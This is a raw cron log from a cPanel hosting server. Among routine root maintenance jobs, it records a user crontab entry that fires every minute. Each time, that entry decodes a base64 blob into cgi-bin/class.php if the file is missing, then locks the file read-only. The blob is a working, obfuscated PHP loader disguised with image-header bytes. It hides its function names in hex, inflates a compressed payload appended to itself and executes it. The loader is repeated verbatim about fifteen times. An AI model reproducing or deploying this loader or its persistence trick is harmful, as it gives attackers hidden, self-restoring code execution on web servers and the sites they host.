Nov 13 14:18:01 server CROND[31726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:19:01 server CROND[32605]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:20:01 server CROND[1021]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 14:20:01 server CROND[1023]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:20:01 server CROND[1024]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 14:20:01 server CROND[1025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:20:01 server CROND[1026]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:21:01 server CROND[1956]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:22:01 server CROND[2921]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:23:01 server CROND[3634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:24:01 server CROND[4165]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:25:01 server CROND[5020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:25:01 server CROND[5021]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:25:01 server CROND[5022]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:25:01 server CROND[5023]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:26:01 server CROND[5848]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:27:01 server CROND[6684]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 14:27:01 server CROND[6685]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:28:01 server CROND[7542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:29:01 server CROND[8504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:30:01 server CROND[9520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:30:01 server CROND[9522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:30:01 server CROND[9523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:30:01 server CROND[9524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
